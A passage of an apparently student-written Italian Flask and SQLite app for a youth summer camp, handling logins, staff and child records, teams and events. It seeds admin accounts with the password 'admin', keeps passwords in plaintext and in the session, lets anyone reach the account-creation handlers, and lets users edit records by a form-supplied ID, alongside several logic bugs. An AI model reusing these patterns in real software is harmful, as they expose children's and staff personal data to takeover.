database.execute("CREATE TABLE IF NOT EXISTS PARTECIPA("
"NomeSquadra VARCHAR(10) REFERENCES SQUADRA(Nome),"
"TipoEvento VARCHAR(10) NOT NULL, "
"Luogo VARCHAR(50) NOT NULL,"
"Data DATE NOT NULL,"
"Ora TIME NOT NULL, "
"PRIMARY KEY (NomeSquadra,TipoEvento,Luogo,Data,Ora),"
"FOREIGN KEY (TipoEvento,Luogo,Data,Ora) "
"REFERENCES EVENTO(TipoEvento,Luogo,Data,Ora));")
# inizializzo il db inserendo un leader e un leader , un bambino e un animatore "fantocci" per gestire l'eliminazione
try:
cursor.execute(
"INSERT INTO PERSONALE VALUES ('00001','admin','Pinco','Pallino','admin@gmail.com','0000-1-1','via bella n.5, Dalmine',03598456,340586969,'leader');")
except:
pass
try:
cursor.execute(
"INSERT INTO PERSONALE VALUES ('00000','admin','00000','XXXXXX','xxx@xxx.com','0000-1-1','xxxxxx',00000000,0000000,'leader');")
except:
pass
try:
cursor.execute(
"INSERT INTO BAMBINO VALUES ('00002','00002','XXXXX','XXXXX','XXX@XX.IT','0000-1-1','XXXXX',00000,0000,'xxxx','yyyy','NULL')")
except:
pass
try:
cursor.execute(
"INSERT INTO ANIMATORE VALUES ('00003','00003','XXXXX','XXXXX','XXXXX@XX.it','0000-1-1','XXXXX',00000,0000,'00000','NULL');")
except:
pass
database.commit()
# calcolo numero partecipanti
cursor.execute("SELECT count(*) FROM PERSONALE WHERE Ruolo = 'leader' ")
rows = cursor.fetchone()
totale_leader += int(str(rows[0]))
cursor.execute("SELECT count(*) FROM PERSONALE WHERE Ruolo = 'segretaria' ")
rows = cursor.fetchone()
totale_segretarie += int(str(rows[0]))
cursor.execute("SELECT count(*) FROM PERSONALE WHERE Ruolo = 'responsabile' ")
rows = cursor.fetchone()
totale_responsabili += int(str(rows[0]))
cursor.execute("SELECT count(*) FROM PERSONALE WHERE Ruolo = 'esterno' ")
rows = cursor.fetchone()
totale_esterni += int(str(rows[0]))
cursor.execute("SELECT count(*) FROM ANIMATORE")
rows = cursor.fetchone()
totale_animatori += int(str(rows[0]))
cursor.execute("SELECT count(*) FROM BAMBINO")
rows = cursor.fetchone()
totale_bambini += int(str(rows[0]))
# cerco la matricola massima utilizzata all'interno del db
cursor.execute("SELECT Matricola FROM PERSONALE ORDER BY Matricola desc")
rows = cursor.fetchone();
if rows is not None:
rows = int(str(rows[0]))
if rows > matricola_max:
matricola_max = rows
cursor.execute("SELECT Matricola FROM ANIMATORE ORDER BY Matricola desc")
rows = cursor.fetchone();
if rows is not None:
rows = int(str(rows[0]))
if rows > matricola_max:
matricola_max = rows
cursor.execute("SELECT Matricola FROM BAMBINO ORDER BY Matricola desc")
rows = cursor.fetchone();
if rows is not None:
rows = int(str(rows[0]))
if rows > matricola_max:
matricola_max = rows
cursor.execute("SELECT Matricola FROM ANIMATORE ORDER BY Matricola desc")
rows = cursor.fetchone();
if rows is not None:
rows = int(str(rows[0]))
if rows > matricola_max:
matricola_max = rows
database.close()
# funzione per aggiornare dati inseriti nella session
def updateSessionData(partecipante, rows):
session[partecipante] = rows[0]
session['matricola'] = rows[0]
session['password'] = rows[1]
session['nome'] = rows[2]
session['cognome'] = rows[3]
session['email'] = rows[5]
session['dataNascita'] = rows[6]
session['indirizzo'] = rows[7]
session['numTelefono'] = rows[8]
session['numCellulare'] = rows[9]
if rows[4] == 'bambino':
session['nominativoMadre'] = rows[10]
session['nominativoPadre'] = rows[11]
session['nomeSquadra'] = rows[12]
elif rows[4] == 'animatore':
session['matrResponsabile'] = rows[10]
session['nomeSquadra'] = rows[11]
@app.route('/')
def root():
if ruolo_partecipanti[0] in session:
return redirect(url_for('home_leader'))
elif ruolo_partecipanti[1] in session:
return redirect(url_for('home_segretaria'))
elif ruolo_partecipanti[2] in session:
return redirect(url_for('home_responsabile'))
elif ruolo_partecipanti[3] in session:
return redirect(url_for('home_esterno'))
elif ruolo_partecipanti[4] in session:
return redirect(url_for('home_animatore'))
elif ruolo_partecipanti[5] in session:
return redirect(url_for('home_bambino'))
return redirect(url_for('login'))
@app.route('/login', methods=['GET', 'POST'])
def login():
if request.method == 'POST':
username = request.form['username']
password = request.form['password']
database = sqlite3.connect(path)
cursor = database.cursor();
cursor.execute(
"SELECT Matricola, Password,Nome,Cognome,Ruolo, Email,DataNascita,Indirizzo,NumTelefono,NumCellulare FROM PERSONALE WHERE Matricola = ? AND Password = ?",
[username, password])
rows = cursor.fetchall()
if len(rows) != 0:
rows = rows[0][0], rows[0][1], rows[0][2], rows[0][3], rows[0][4], rows[0][5], rows[0][6], rows[0][7], \
rows[0][8], rows[0][9]
else:
cursor = database.cursor();
cursor.execute(
"SELECT Matricola, Password,Nome,Cognome,Email,DAtaNascita,Indirizzo,NumTelefono,NumCellulare,NominativoMadre,NominativoPadre,NomeSquadra FROM BAMBINO WHERE Matricola = ? AND Password = ?",
[username, password])
rows = cursor.fetchall()
if len(rows) != 0:
rows = rows[0][0], rows[0][1], rows[0][2], rows[0][3], 'bambino', rows[0][4], rows[0][5], rows[0][6], \
rows[0][7], rows[0][8], rows[0][9], rows[0][10], rows[0][11]
else:
cursor.execute(
"SELECT Matricola, Password,Nome,Cognome,Email,DataNascita,Indirizzo,NumTelefono,NumCellulare,MatrResponsabile,NomeSquadra FROM ANIMATORE WHERE Matricola = ? AND Password = ?",
[username, password])
rows = cursor.fetchall()
if len(rows) != 0:
rows = rows[0][0], rows[0][1], rows[0][2], rows[0][3], 'animatore', rows[0][4], rows[0][5], rows[0][
6], \
rows[0][7], rows[0][8], rows[0][9], rows[0][10]
else:
database.close()
return redirect(url_for('loginerrato'))
database.close()
for partecipante in ruolo_partecipanti:
if rows[4] == partecipante:
updateSessionData(partecipante, rows)
return redirect(url_for('root'))
return render_template('login.html')
@app.route('/homeLEADER', methods=['GET', 'POST'])
def home_leader():
if request.method == 'POST' and 'form_modifica' in request.form:
database = sqlite3.connect(path)
cursor = database.cursor();
cursor.execute(
"UPDATE PERSONALE SET Password = ?, Nome = ?, Cognome = ?, Email = ?, DataNascita = ?, Indirizzo = ?, NumTelefono = ?, NumCellulare = ? WHERE Matricola = ?;",
[request.form['password'], request.form['nome'], request.form['cognome'], request.form['email'],
request.form['data'],
request.form['indirizzo'], request.form['telefono'], request.form['cellulare'], request.form['matricola']])
rows = request.form['matricola'], request.form['password'], request.form['nome'], request.form[
'cognome'], 'leader', request.form['email'], request.form['data'], request.form['indirizzo'], request.form[
'telefono'], request.form['cellulare']
database.commit()
database.close()
updateSessionData('leader', rows)
if request.method == 'POST' and 'form_appello' in request.form:
presenza = request.form.get('options')
data = request.form.get('dataappello')
database = sqlite3.connect(path)
database.execute("PRAGMA foreign_keys = 1")
try:
cursor = database.cursor();
cursor.execute("INSERT INTO APPELLOPERSONALE(IdPersonale,Data,Presenza) VALUES (?,?,?) ",
[session['matricola'], data, presenza])
database.commit()
except:
flash("Attenzione: Appello già compilato per questa giornata!")
finally:
database.close()
if 'leader' in session:
database = sqlite3.connect(path)
cursor = database.cursor()
cursor.execute(
"SELECT TipoEvento, Luogo, Data, Ora, Descrizione FROM EVENTO WHERE MatrLeader = ? ORDER BY Data ASC, Ora ASC",
[session['matricola']])
listeventi = cursor.fetchall()
database.close()
return render_template("homeLEADER.html", usernamesession=session['nome'] + " " + session
['cognome'], matricola=session['matricola'], password=session['password'], nome=session['nome'],
cognome=session['cognome'], email=session['email'], data=session['dataNascita'],
indirizzo=session['indirizzo'],
telefono=session['numTelefono'], cellulare=session['numCellulare'], totalepartecipanti=(
totale_leader + totale_segretarie + totale_esterni + totale_responsabili + totale_animatori + totale_bambini),
totaleleader=totale_leader,
totalesegretarie=totale_segretarie,
totaleresponsabili=totale_responsabili,
totaleesterni=totale_esterni,
totaleanimatori=totale_animatori,
totalebambini=totale_bambini,
listeventi=listeventi)
else:
return redirect(url_for('login'))
@app.route('/homeSEGRETARIA', methods=['GET', 'POST'])
def home_segretaria():
if request.method == 'POST' and 'form_modifica' in request.form:
database = sqlite3.connect(path)
cursor = database.cursor();
cursor.execute(
"UPDATE PERSONALE SET Password = ?, Nome = ?, Cognome = ?, Email = ?, DataNascita = ?, Indirizzo = ?, NumTelefono = ?, NumCellulare = ? WHERE Matricola = ?;",
[request.form['password'], request.form['nome'], request.form['cognome'], request.form['email'],
request.form['data'],
request.form['indirizzo'], request.form['telefono'], request.form['cellulare'], request.form['matricola']])
rows = request.form['matricola'], request.form['password'], request.form['nome'], request.form[
'cognome'], 'leader', request.form['email'], request.form['data'], request.form['indirizzo'], request.form[
'telefono'], request.form['cellulare']
database.commit()
database.close()
updateSessionData('segretaria', rows)
elif request.method == 'POST' and 'form_elimina' in request.form:
database = sqlite3.connect(path)
database.execute("PRAGMA foreign_keys = 1")
cursor = database.cursor();
cursor.execute("DELETE FROM PERSONALE WHERE Matricola= ?;", [session['matricola']])
database.commit()
database.close()
global totale_segretarie
totale_segretarie -= 1
return redirect(url_for("logout"))
elif request.method == 'POST' and 'form_appello' in request.form:
presenza = request.form.get('options')
data = request.form.get('dataappello')
database = sqlite3.connect(path)
database.execute("PRAGMA foreign_keys = 1")
try:
cursor = database.cursor();
cursor.execute("INSERT INTO APPELLOPERSONALE(IdPersonale,Data,Presenza) VALUES (?,?,?) ",
[session['matricola'], data, presenza])
database.commit()
except:
flash("Attenzione: Appello già compilato per questa giornata!")
finally:
database.close()
if 'segretaria' in session:
database = sqlite3.connect(path)
cursor = database.cursor()
cursor.execute("SELECT TipoEvento, Luogo, Data, Ora, Descrizione FROM EVENTO ORDER BY Data ASC, Ora ASC")
rows = cursor.fetchall()
database.close()
return render_template("homeSEGRETARIA.html", usernamesession=session['nome'] + " " + session
['cognome'], matricola=session['matricola'], password=session['password'], nome=session['nome'],
cognome=session['cognome'], email=session['email'], data=session['dataNascita'],
indirizzo=session['indirizzo'],
telefono=session['numTelefono'], cellulare=session['numCellulare'], totalepartecipanti=(
totale_leader + totale_segretarie + totale_esterni + totale_responsabili + totale_animatori + totale_bambini),
totaleleader=totale_leader,
totalesegretarie=totale_segretarie,
totaleresponsabili=totale_responsabili,
totaleesterni=totale_esterni,
totaleanimatori=totale_animatori,
totalebambini=totale_bambini,
listeventi=rows)
else:
return redirect(url_for('login'))
@app.route('/homeRESPONSABILE', methods=['GET', 'POST'])
def home_responsabile():
if request.method == 'POST' and 'form_modifica' in request.form:
database = sqlite3.connect(path)
cursor = database.cursor();
cursor.execute(
"UPDATE PERSONALE SET Password = ?, Nome = ?, Cognome = ?, Email = ?, DataNascita = ?, Indirizzo = ?, NumTelefono = ?, NumCellulare = ? WHERE Matricola = ?;",
[request.form['password'], request.form['nome'], request.form['cognome'], request.form['email'],
request.form['data'],
request.form['indirizzo'], request.form['telefono'], request.form['cellulare'], request.form['matricola']])
rows = request.form['matricola'], request.form['password'], request.form['nome'], request.form[
'cognome'], 'leader', request.form['email'], request.form['data'], request.form['indirizzo'], request.form[
'telefono'], request.form['cellulare']
database.commit()
database.close()
updateSessionData('responsabile', rows)
elif request.method == 'POST' and 'form_elimina' in request.form:
database = sqlite3.connect(path)
database.execute("PRAGMA foreign_keys = 1")
cursor = database.cursor();
cursor.execute("DELETE FROM PERSONALE WHERE Matricola= ?;", [session['matricola']])
database.commit()
database.close()
global totale_responsabili
totale_responsabili -= 1
return redirect(url_for("logout"))
elif request.method == 'POST' and 'form_appello' in request.form:
presenza = request.form.get('options')
data = request.form.get('dataappello')
database = sqlite3.connect(path)
database.execute("PRAGMA foreign_keys = 1")
try:
cursor = database.cursor();
cursor.execute("INSERT INTO APPELLOPERSONALE(IdPersonale,Data,Presenza) VALUES (?,?,?) ",
[session['matricola'], data, presenza])
database.commit()
except:
flash("Attenzione: Appello già compilato per questa giornata!")
finally:
database.close()
if 'responsabile' in session:
database = sqlite3.connect(path)
cursor = database.cursor()
cursor.execute("SELECT TipoEvento, Luogo, Data, Ora, Descrizione FROM EVENTO ORDER BY Data ASC, Ora ASC")
rows = cursor.fetchall()
cursor = database.cursor()
cursor.execute(
"SELECT E.TipoEvento, E.Luogo, E.Data, E.Ora, E.Descrizione FROM ARBITRA A JOIN EVENTO E ON (E.TipoEvento, E.Luogo, E.Data, E.Ora)=(A.TipoEvento, A.Luogo, A.Data, A.Ora) WHERE A.MatrResponsabile = ? ORDER BY E.Data ASC, E.Ora ASC",
[session['matricola']])
listgiochi = cursor.fetchall()
database.close()
return render_template("homeRESPONSABILE.html", usernamesession=session['nome'] + " " + session
['cognome'], matricola=session['matricola'], password=session['password'], nome=session['nome'],
cognome=session['cognome'], email=session['email'], data=session['dataNascita'],
indirizzo=session['indirizzo'],
telefono=session['numTelefono'], cellulare=session['numCellulare'], totalepartecipanti=(
totale_leader + totale_segretarie + totale_esterni + totale_responsabili + totale_animatori + totale_bambini),
totaleleader=totale_leader, totalesegretarie=totale_segretarie,
totaleresponsabili=totale_responsabili,
totaleesterni=totale_esterni,
totaleanimatori=totale_animatori,
totalebambini=totale_bambini,
listeventi=rows,
tipologia="Animatori", listgiochi=listgiochi)
else:
return redirect(url_for('login'))
@app.route('/homeESTERNO', methods=['GET', 'POST'])
def home_esterno():
if request.method == 'POST' and 'form_modifica' in request.form:
database = sqlite3.connect(path)
cursor = database.cursor();
cursor.execute(
"UPDATE PERSONALE SET Password = ?, Nome = ?, Cognome = ?, Email = ?, DataNascita = ?, Indirizzo = ?, NumTelefono = ?, NumCellulare = ? WHERE Matricola = ?;",
[request.form['password'], request.form['nome'], request.form['cognome'], request.form['email'],
request.form['data'],
request.form['indirizzo'], request.form['telefono'], request.form['cellulare'], request.form['matricola']])
rows = request.form['matricola'], request.form['password'], request.form['nome'], request.form[
'cognome'], 'leader', request.form['email'], request.form['data'], request.form['indirizzo'], request.form[
'telefono'], request.form['cellulare']
database.commit()
database.close()
updateSessionData('esterno', rows)
elif request.method == 'POST' and 'form_elimina' in request.form:
database = sqlite3.connect(path)
database.execute("PRAGMA foreign_keys = 1")
cursor = database.cursor();
cursor.execute("DELETE FROM PERSONALE WHERE Matricola= ?;", [session['matricola']])
database.commit()
database.close()
global totale_esterni
totale_esterni -= 1
return redirect(url_for("logout"))
elif request.method == 'POST' and 'form_appello' in request.form:
presenza = request.form.get('options')
data = request.form.get('dataappello')
database = sqlite3.connect(path)
database.execute("PRAGMA foreign_keys = 1")
try:
cursor = database.cursor();
cursor.execute("INSERT INTO APPELLOPERSONALE(IdPersonale,Data,Presenza) VALUES (?,?,?) ",
[session['matricola'], data, presenza])
database.commit()
except:
flash("Attenzione: Appello già compilato per questa giornata!")
finally:
database.close()
if 'esterno' in session:
database = sqlite3.connect(path)
cursor = database.cursor()
cursor.execute(
"SELECT E.TipoEvento,E.Luogo,E.Data,E.Ora,E.Descrizione,P.Nome,P.Cognome FROM EVENTO E JOIN GESTISCE G ON (E.TipoEvento,E.Luogo,E.Data,E.Ora) = (G.TipoEvento,G.Luogo,G.Data,G.Ora) JOIN PERSONALE P ON E.MatrLeader= P.Matricola WHERE G.MatrEsterno = ?;",
[session['matricola']])
rows = cursor.fetchall()
database.close()
return render_template("homeESTERNO.html", usernamesession=session['nome'] + " " + session
['cognome'], matricola=session['matricola'], password=session['password'], nome=session['nome'],
cognome=session['cognome'], email=session['email'], data=session['dataNascita'],
indirizzo=session['indirizzo'],
telefono=session['numTelefono'], cellulare=session['numCellulare'], totalepartecipanti=(
totale_leader + totale_segretarie + totale_esterni + totale_responsabili + totale_animatori + totale_bambini),
totaleleader=totale_leader,
totalesegretarie=totale_segretarie,
totaleresponsabili=totale_responsabili,
totaleesterni=totale_esterni,
totaleanimatori=totale_animatori,
totalebambini=totale_bambini,
listlaboratori=rows)
else:
return redirect(url_for('login'))
@app.route('/homeANIMATORE', methods=['GET'])
def home_animatore():
if request.method == 'POST' and 'form_modifica' in request.form:
database = sqlite3.connect(path)
cursor = database.cursor();
cursor.execute(
"UPDATE PERSONALE SET Password = ?, Nome = ?, Cognome = ?, Email = ?, DataNascita = ?, Indirizzo = ?, NumTelefono = ?, NumCellulare = ? WHERE Matricola = ?;",
[request.form['password'], request.form['nome'], request.form['cognome'], request.form['email'],
request.form['data'],
request.form['indirizzo'], request.form['telefono'], request.form['cellulare'], request.form['matricola']])
rows = request.form['matricola'], request.form['password'], request.form['nome'], request.form[
'cognome'], 'leader', request.form['email'], request.form['data'], request.form['indirizzo'], request.form[
'telefono'], request.form['cellulare']
database.commit()
database.close()
updateSessionData('animatore', rows)
elif request.method == 'POST' and 'form_elimina' in request.form:
database = sqlite3.connect(path)
database.execute("PRAGMA foreign_keys = 1")
cursor = database.cursor();
cursor.execute("DELETE FROM PERSONALE WHERE Matricola= ?;", [session['matricola']])
database.commit()
database.close()
global totale_animatori
totale_animatori -= 1
return redirect(url_for("logout"))
if 'animatore' in session:
database = sqlite3.connect(path)
cursor = database.cursor()
cursor.execute("SELECT E.TipoEvento, E.Luogo, E.Data, E.Ora, E.Descrizione FROM EVENTO E JOIN "
"PARTECIPA P ON (P.TipoEvento, P.Luogo, P.Data,P.Ora) = (E.TipoEvento, E.Luogo, E.Data,E.Ora) "
"JOIN ANIMATORE A ON A.NomeSquadra = P.NomeSquadra WHERE A.Matricola = ? ORDER BY E.Data ASC, E.Ora ASC",
[session['matricola']])
listeventi = cursor.fetchall()
database.close()
return render_template("homeANIMATORE.html", usernamesession=session['nome'] + " " + session
['cognome'], matricola=session['matricola'], password=session['password'], nome=session['nome'],
cognome=session['cognome'], email=session['email'], data=session['dataNascita'],
indirizzo=session['indirizzo'],
telefono=session['numTelefono'], cellulare=session['numCellulare'], totalepartecipanti=(
totale_leader + totale_segretarie + totale_esterni + totale_responsabili + totale_animatori + totale_bambini),
totaleleader=totale_leader,
totalesegretarie=totale_segretarie,
totaleresponsabili=totale_responsabili,
totaleesterni=totale_esterni,
totaleanimatori=totale_animatori,
totalebambini=totale_bambini,
listeventi=listeventi,
tipologia=session['nomeSquadra'])
else:
return redirect(url_for('login'))
@app.route('/homeBAMBINO', methods=['GET'])
def home_bambino():
if request.method == 'POST' and 'form_modifica' in request.form:
database = sqlite3.connect(path)
cursor = database.cursor();
cursor.execute(
"UPDATE PERSONALE SET Password = ?, Nome = ?, Cognome = ?, Email = ?, DataNascita = ?, Indirizzo = ?, NumTelefono = ?, NumCellulare = ? WHERE Matricola = ?;",
[request.form['password'], request.form['nome'], request.form['cognome'], request.form['email'],
request.form['data'],
request.form['indirizzo'], request.form['telefono'], request.form['cellulare'], request.form['matricola']])
rows = request.form['matricola'], request.form['password'], request.form['nome'], request.form[
'cognome'], 'leader', request.form['email'], request.form['data'], request.form['indirizzo'], request.form[
'telefono'], request.form['cellulare']
database.commit()
database.close()
global totale_bambini
totale_bambini -= 1
updateSessionData('bambino', rows)
elif request.method == 'POST' and 'form_elimina' in request.form:
database = sqlite3.connect(path)
database.execute("PRAGMA foreign_keys = 1")
cursor = database.cursor();
cursor.execute("DELETE FROM PERSONALE WHERE Matricola= ?;", [session['matricola']])
database.commit()
database.close()
return redirect(url_for("logout"))
if 'bambino' in session:
database = sqlite3.connect(path)
cursor = database.cursor()
cursor.execute("SELECT E.TipoEvento, E.Luogo, E.Data, E.Ora, E.Descrizione FROM EVENTO E JOIN "
"PARTECIPA P ON (P.TipoEvento, P.Luogo, P.Data,P.Ora) = (E.TipoEvento, E.Luogo, E.Data,E.Ora) "
"JOIN BAMBINO B ON B.NomeSquadra = P.NomeSquadra WHERE B.Matricola = ? ORDER BY E.Data ASC, E.Ora ASC",
[session['matricola']])
listeventi = cursor.fetchall()
database.close()
return render_template("homeBAMBINO.html", usernamesession=session['nome'] + " " + session
['cognome'], matricola=session['matricola'], password=session['password'], nome=session['nome'],
cognome=session['cognome'], email=session['email'], data=session['dataNascita'],
indirizzo=session['indirizzo'],
telefono=session['numTelefono'], cellulare=session['numCellulare'], totalepartecipanti=(
totale_leader + totale_segretarie + totale_esterni + totale_responsabili + totale_animatori + totale_bambini),
totaleleader=totale_leader,
totalesegretarie=totale_segretarie,
totaleresponsabili=totale_responsabili,
totaleesterni=totale_esterni,
totaleanimatori=totale_animatori,
totalebambini=totale_bambini,
listeventi=listeventi)
else:
return redirect(url_for('login'))
@app.route('/loginerrato', methods=['GET'])
def loginerrato():
flash("ATTENZIONE MATRICOLA O PASSWORD ERRATI!!!")
return redirect(url_for('login'))
@app.route('/logout', methods=['GET'])
def logout():
keys = list(session.keys())
for key in keys:
session.pop(key)
return redirect(url_for('root'))
@app.route('/formInserisciSegretaria', methods=['GET', 'POST'])
def form_inserisci_segretaria():
if request.method == 'POST':
matricola = request.form['matricola']
password = request.form['password']
nome = request.form['nome']
cognome = request.form['cognome']
email = request.form['email']
data = request.form['data']
indirizzo = request.form['indirizzo']
telefono = request.form['telefono']
cellulare = request.form['cellulare']
database = sqlite3.connect(path)
cursor = database.cursor()
cursor.execute(
"INSERT INTO PERSONALE VALUES (?,?,?,?,?,?,?,?,?,?);",
[matricola, password, nome, cognome, email, data, indirizzo, telefono, cellulare, 'segretaria'])
database.commit()
database.close()
global totale_segretarie
totale_segretarie += 1
global matricola_max
matricola_max += 1
return redirect(url_for('form_inserisci_segretaria'))
if 'leader' in session:
return render_template("formInserisciSegretaria.html",
matricola=str((matricola_max + 1)).zfill(5),
usernamesession=session['nome'] + " " + session
['cognome'], totalepartecipanti=(
totale_leader + totale_segretarie + totale_esterni + totale_responsabili + totale_animatori + totale_bambini),
totaleleader=totale_leader, totalesegretarie=totale_segretarie,
totaleresponsabili=totale_responsabili,
totaleesterni=totale_esterni, totaleanimatori=totale_animatori,
totalebambini=totale_bambini)
else:
return redirect(url_for('login'))
@app.route('/formInserisciResponsabile', methods=['GET', 'POST'])
def form_inserisci_responsabile():
if request.method == 'POST':
matricola = request.form['matricola']
password = request.form['password']
nome = request.form['nome']
cognome = request.form['cognome']
email = request.form['email']
data = request.form['data']
indirizzo = request.form['indirizzo']
telefono = request.form['telefono']
cellulare = request.form['cellulare']
database = sqlite3.connect(path)
cursor = database.cursor()
cursor.execute(
"INSERT INTO PERSONALE VALUES (?,?,?,?,?,?,?,?,?,?);",
[matricola, password, nome, cognome, email, data, indirizzo, telefono, cellulare, 'responsabile'])
database.commit()
database.close()
global totale_responsabili
totale_responsabili += 1
global matricola_max
matricola_max += 1
return redirect(url_for('form_inserisci_responsabile'))
if 'leader' in session:
return render_template("formInserisciResponsabile.html",
matricola=str((matricola_max + 1)).zfill(5),
usernamesession=session['nome'] + " " + session
['cognome'], totalepartecipanti=(
totale_leader + totale_segretarie + totale_esterni + totale_responsabili + totale_animatori + totale_bambini),
totaleleader=totale_leader, totalesegretarie=totale_segretarie,
totaleresponsabili=totale_responsabili,
totaleesterni=totale_esterni, totaleanimatori=totale_animatori,
totalebambini=totale_bambini)
else:
return redirect(url_for('login'))
@app.route('/formInserisciEsterno', methods=['GET', 'POST'])
def form_inserisci_esterno():
if request.method == 'POST':
matricola = request.form['matricola']
password = request.form['password']
nome = request.form['nome']
cognome = request.form['cognome']
email = request.form['email']
data = request.form['data']
indirizzo = request.form['indirizzo']
telefono = request.form['telefono']
cellulare = request.form['cellulare']
nomelaboratorio = request.form['nomelaboratorio']
database = sqlite3.connect(path)
database.execute("PRAGMA foreign_keys = 1")
cursor = database.cursor()
cursor.execute(
"INSERT INTO PERSONALE VALUES (?,?,?,?,?,?,?,?,?,?);",
[matricola, password, nome, cognome, email, data, indirizzo, telefono, cellulare, 'esterno'])
database.commit()
cursor = database.cursor()
cursor.execute(
"INSERT INTO GESTISCE VALUES (?,?,?,?,?);",
[matricola, str(nomelaboratorio).split(",")[0].lstrip(), str(nomelaboratorio).split(",")[3].lstrip(),
str(nomelaboratorio).split(",")[4].lstrip(), str(nomelaboratorio).split(",")[5].lstrip()])
database.commit()
database.close()
global totale_esterni
totale_esterni += 1
global matricola_max
matricola_max += 1
return redirect(url_for('form_inserisci_esterno'))
if 'leader' in session:
database = sqlite3.connect(path)
cursor = database.cursor()
cursor.execute(
"SELECT TipoEvento, Descrizione,Luogo,Data,Ora FROM EVENTO WHERE CAST(TipoEvento as INTEGER) > 200 and CAST(TipoEvento as INTEGER) < 300")
laboratori = cursor.fetchall()
database.close()
return render_template("formInserisciEsterno.html",
matricola=str((matricola_max + 1)).zfill(5),
usernamesession=session['nome'] + " " + session
['cognome'], totalepartecipanti=(
totale_leader + totale_segretarie + totale_esterni + totale_responsabili + totale_animatori + totale_bambini),
totaleleader=totale_leader, totalesegretarie=totale_segretarie,
totaleresponsabili=totale_responsabili,
totaleesterni=totale_esterni, totaleanimatori=totale_animatori,
totalebambini=totale_bambini, listlaboratori=laboratori)
else:
return redirect(url_for('login'))
@app.route('/formInserisciAnimatore', methods=['GET', 'POST'])
def form_inserisci_animatore():
if request.method == 'POST':
matricola = request.form['matricola']
password = request.form['password']
nome = request.form['nome']
cognome = request.form['cognome']
email = request.form['email']
data = request.form['data']
indirizzo = request.form['indirizzo']
telefono = request.form['telefono']
cellulare = request.form['cellulare']
matricolaresponsabile = request.form.get('matricolaresponsabile')
nomesquadra = request.form.get('nomesquadra')
database = sqlite3.connect(path)
database.execute("PRAGMA foreign_keys = 1")
cursor = database.cursor()
cursor.execute(
"INSERT INTO ANIMATORE VALUES (?,?,?,?,?,?,?,?,?,?,?);",
[matricola, password, nome, cognome, email, data, indirizzo, telefono, cellulare, matricolaresponsabile,
nomesquadra])
database.commit()
database.close()
global totale_animatori
totale_animatori += 1
global matricola_max
matricola_max += 1
return redirect(url_for('form_inserisci_animatore'))
if 'leader' in session:
database = sqlite3.connect(path)
cursor = database.cursor()
cursor.execute("SELECT Nome FROM SQUADRA")
squadre = cursor.fetchall()
cursor.execute("SELECT Matricola FROM PERSONALE WHERE Ruolo = 'responsabile'")
matricole = cursor.fetchall()
database.close()
return render_template("formInserisciAnimatore.html",
matricola=str((matricola_max + 1)).zfill(5),
usernamesession=session['nome'] + " " + session['cognome'],
totalepartecipanti=(
totale_leader + totale_segretarie + totale_esterni + totale_responsabili + totale_animatori + totale_bambini),
totaleleader=totale_leader,
totalesegretarie=totale_segretarie,
totaleresponsabili=totale_responsabili,
totaleesterni=totale_esterni,
totaleanimatori=totale_animatori,
totalebambini=totale_bambini,
matricole=matricole,
listsquadra=squadre)
else:
return redirect(url_for('login'))
@app.route('/formInserisciBambino', methods=['GET', 'POST'])
def form_inserisci_bambino():
if request.method == 'POST':
matricola = request.form['matricola']
password = request.form['password']
nome = request.form['nome']
cognome = request.form['cognome']
email = request.form['email']
data = request.form['data']
indirizzo = request.form['indirizzo']
telefono = request.form['telefono']
cellulare = request.form['cellulare']
nominativopadre = request.form['nominativopadre']
nominativomadre = request.form['nominativomadre']
nomesquadra = request.form.get('nomesquadra')
database = sqlite3.connect(path)
database.execute("PRAGMA foreign_keys = 1")
cursor = database.cursor()
cursor.execute(
"INSERT INTO BAMBINO VALUES (?,?,?,?,?,?,?,?,?,?,?,?);",
[matricola, password, nome, cognome, email, data, indirizzo, telefono, cellulare, nominativomadre,
nominativopadre,
nomesquadra])
database.commit()
database.close()
global totale_bambini
totale_bambini += 1
global matricola_max
matricola_max += 1
return redirect(url_for('form_inserisci_bambino'))
if 'leader' in session:
database = sqlite3.connect(path)
cursor = database.cursor()
cursor.execute("SELECT Nome FROM SQUADRA")
squadre = cursor.fetchall()
database.close()
return render_template("formInserisciBambino.html",
matricola=str((matricola_max + 1)).zfill(5),
usernamesession=session['nome'] + " " + session['cognome'],
totalepartecipanti=(
totale_leader + totale_segretarie + totale_esterni + totale_responsabili + totale_animatori + totale_bambini),
totaleleader=totale_leader,
totalesegretarie=totale_segretarie,
totaleresponsabili=totale_responsabili,
totaleesterni=totale_esterni,
totaleanimatori=totale_animatori,
totalebambini=totale_bambini,
listsquadra=squadre)
else:
return redirect(url_for('login'))
@app.route('/formCreaGita', methods=['GET', 'POST'])
def form_crea_gita():
if request.method == 'POST':
tipoGita = request.form['tipoGita']
luogo = request.form['luogo']
date = request.form['date']
time = request.form['time']
descrizione = request.form['descrizione']
database = sqlite3.connect(path)
database.execute("PRAGMA foreign_keys = 1")
cursor = database.cursor()
# inserisco evento se non già inserito
try:
cursor.execute(
"INSERT INTO EVENTO VALUES (?,?,?,?,?,?,?);",
[tipoGita, luogo, date, time, descrizione, 'NULL', session['matricola']])
database.commit()
except:
flash("Attenzione: gita già inserita!")
finally:
database.close()
database = sqlite3.connect(path)
database.execute("PRAGMA foreign_keys = 1")
cursor = database.cursor()
try:
cursor.execute("SELECT Nome FROM SQUADRA")
rows = cursor.fetchall()
for squadra in rows:
if request.form.get(squadra[0]) == "on":
partecipa = True;
else:
partecipa = False
cursor = database.cursor()
# inserisco partecipazione se non già inserita
if partecipa == True:
cursor.execute("INSERT INTO PARTECIPA VALUES (?,?,?,?,?);",
[squadra[0], tipoGita, luogo, date, time])
cursor.fetchall()
database.commit()
except:
flash("Attenzione: Almeno un squadra già partecipa all'evento")
finally:
database.close()
if 'leader' in session:
database = sqlite3.connect(path)
cursor = database.cursor()
cursor.execute("SELECT Nome FROM SQUADRA")
listsquadre = cursor.fetchall()
return render_template("formCreaGita.html", usernamesession=session['nome'] + " " + session
['cognome'], totalepartecipanti=(
totale_leader + totale_segretarie + totale_esterni + totale_responsabili + totale_animatori + totale_bambini),
totaleleader=totale_leader, totalesegretarie=totale_segretarie,
totaleresponsabili=totale_responsabili,
totaleesterni=totale_esterni, totaleanimatori=totale_animatori,
totalebambini=totale_bambini, listsquadre=listsquadre)
else:
return redirect(url_for('login'))
@app.route('/formCreaGioco', methods=['GET', 'POST'])
def form_crea_gioco():
if request.method == 'POST':
tipoGioco = request.form['tipoGioco']
luogo = request.form['luogo']
date = request.form['date']
time = request.form['time']
descrizione = request.form['descrizione']
punteggio = request.form['punteggio']
